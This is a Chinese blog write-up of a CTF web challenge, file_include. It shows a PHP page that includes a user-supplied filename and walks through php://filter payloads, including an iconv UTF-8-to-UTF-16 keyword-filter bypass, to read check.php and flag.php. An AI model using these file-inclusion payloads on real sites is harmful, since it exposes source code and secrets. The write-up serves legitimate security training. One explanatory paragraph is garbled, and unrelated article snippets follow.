攻防世界web第三题file_include

server/2024/12/27 8:30:23/
<?php
highlight_file(__FILE__);include("./check.php");if(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);}
?>

惯例:
代码审查:
1.可以看到include(“./check.php”);猜测是同级目录下有一个check.php文件用于过滤之类的
2. if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); }
判断url中是否有参数名为filename的值,如果不为空,则将其赋值给$filename变量,猜测利用这一点把check.php执行出来。

测试:
发送请求构造url:http://61.147.171.105:63401/?filename=check.php
提交无反应
在这里插入图片描述
这时再考虑用base64编码读取
构造url: http://61.147.171.105:63401/?filename=php://filter/read=convert.base64-encode/resource=./check.php
再次提交,显示dont hack!
在这里插入图片描述
到这里,可以证明我们的思路基本正确,关键信息大概率在check.php文件中,我们再考虑如何绕过读取真正的信息。
猜测是由于编码格式的问题,我们换最常用的utf-8和utf-16编码格式读
构造url: http://61.147.171.105:63401/?filename=php://filter/convert.iconv.utf8.utf16/resource=./check.php
提交得到
在这里插入图片描述
根据输出的内容可以看到是过滤“be,encode”等字段,到这里,说明我们已经能成功访问check.php了。而这里并没有flag,那我们猜测还有另一个flag.php文件,测试一下
构造url:
http://61.147.171.105:63401/?filename=php://filter/convert.iconv.utf8.utf16/resource=./flag.php

提交得到
在这里插入图片描述
成功拿到flag

总结:1.要能读懂代码
2.要会PHP:filter协议

知识点:
1.php://filter
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
在这里插入图片描述
参考这个:这个

2.$_GET变量
G E T 是 P H P 中的一个预定义超全局变量,专门用于收集通过 H T T P G E T 方法传递的参数 1 。这个变量允许开发者轻松地从 U R L 查询字符串中提取信息,使得在不同页面之间传递数据变得简单高效。由于其特殊性质, _GET 是PHP中的一个预定义 超全局变量 ,专门用于收集通过HTTP GET方法传递的参数1。这个变量允许开发者轻松地从URL查询字符串中提取信息,使得在不同页面之间传递数据变得简单高效。由于其特殊性质, GETPHP中的一个预定义超全局变量,专门用于收集通过HTTPGET方法传递的参数1。这个变量允许开发者轻松地从URL查询字符串中提取信息,使得在不同页面之间传递数据变得简单高效。由于其特殊性质,_GET在整个脚本执行期间都可用,无需显式声明,这大大简化了Web应用程序中数据处理的过程。
3.isset函数
在这里插入图片描述
4.include 和 require 是PHP中用于在当前文件中包含(或插入)另一个文件内容的两个语句。它们的主要目的是代码复用,通过包含(或引用)外部文件的方式,使得PHP代码更加模块化和易于管理。然而,尽管它们的目标相似,但在处理包含文件失败时的行为上有所不同。

include:当使用include语句时,如果指定的文件不存在或路径错误,PHP会发出一个警告(E_WARNING),但脚本会继续执行。这意呀着,如果你的页面依赖于被包含文件中的内容(比如函数定义、类定义或变量初始化),而该文件未被成功包含,那么页面可能会显示不完整或功能异常,但用户仍然可以看到页面。


http://www.ppmy.cn/server/153569.html

相关文章

潮玩设备AI语音交互方案,ESP32-S3芯片模组物联网通信技术

在智能化的世界里&#xff0c;每一个设备都是一个节点&#xff0c;它们通过无线网络相互连接&#xff0c;形成一个庞大的智能网络。这些设备能够相互通信&#xff0c;理解并判断用户的需求&#xff0c;从而提供更加个性化的服务。 而这一切的背后&#xff0c;是强大的处理器和…

Java 中压缩图片并应用 EXIF 旋转信息

如何在 Java 中压缩图片并应用 EXIF 旋转信息 在图像处理中&#xff0c;特别是当你需要处理从相机或手机获取的照片时&#xff0c;图像的方向是一个常见问题。许多相机和手机在拍摄照片时会存储图像的方向信息&#xff0c;通常会保存在图像的 EXIF 元数据 中。Windows 和其他图…

SpringBoot3-第四篇(基础特性)

系列文章目录 SpringBoot3-第一篇&#xff08;快速入门&#xff09; SpringBoot3-第二篇&#xff08;Web开发&#xff09; SpringBoot3-第三篇&#xff08;数据访问&#xff09; SpringBoot3-第四篇&#xff08;基础特性&#xff09; 文章目录 系列文章目录1. SpringApplicati…

oscp学习之路,Kioptix Level2靶场通关教程

oscp学习之路&#xff0c;Kioptix Level2靶场通关教程 靶场下载&#xff1a;Kioptrix Level 2.zip 链接: https://pan.baidu.com/s/1gxVRhrzLW1oI_MhcfWPn0w?pwd1111 提取码: 1111 搭建好靶场之后输入ip a看一下攻击机的IP。 确定好本机IP后&#xff0c;使用nmap扫描网段&…

基于python+django的旅游信息网站-旅游景点门票管理系统

标题:基于 PythonDjango 的旅游信息网站-旅游景点门票管理系统 内容:1.摘要 基于 PythonDjango 的旅游信息网站-旅游景点门票管理系统的摘要&#xff1a; 随着旅游业的快速发展&#xff0c;旅游景点门票管理系统的重要性日益凸显。本文旨在设计并实现一个基于 PythonDjango 的…

Ps:在 Photoshop 中编辑视频

Photoshop 不仅是图像编辑的强大工具&#xff0c;它还提供了丰富的视频编辑功能&#xff0c;使用户可以轻松创建和编辑视频项目。 通过基于剪辑的“时间轴”面板&#xff0c;Photoshop 提供了类似于 Adobe Premiere Pro 等专业视频编辑器的操作体验。 Ps菜单&#xff1a;窗口/时…

微信小程序UI自动化测试实践 !

微信小程序UI自动化测试实践 引言&#xff1a; 随着微信小程序的快速发展&#xff0c;越来越多的企业和开发者开始开发小程序来满足用户的需求。而在开发小程序的过程中&#xff0c;UI自动化测试是一个必不可少的环节&#xff0c;可以帮助开发者减少人工测试的工作量&#xff…

红黑树C/CPP

#include <stdio.h> #include <stdlib.h>// 红黑树节点颜色定义 typedef enum { RED, BLACK } NodeColor;// 红黑树节点结构 typedef struct RBTreeNode {int key; // 节点的键值NodeColor color; // 节点的颜色&#xff08…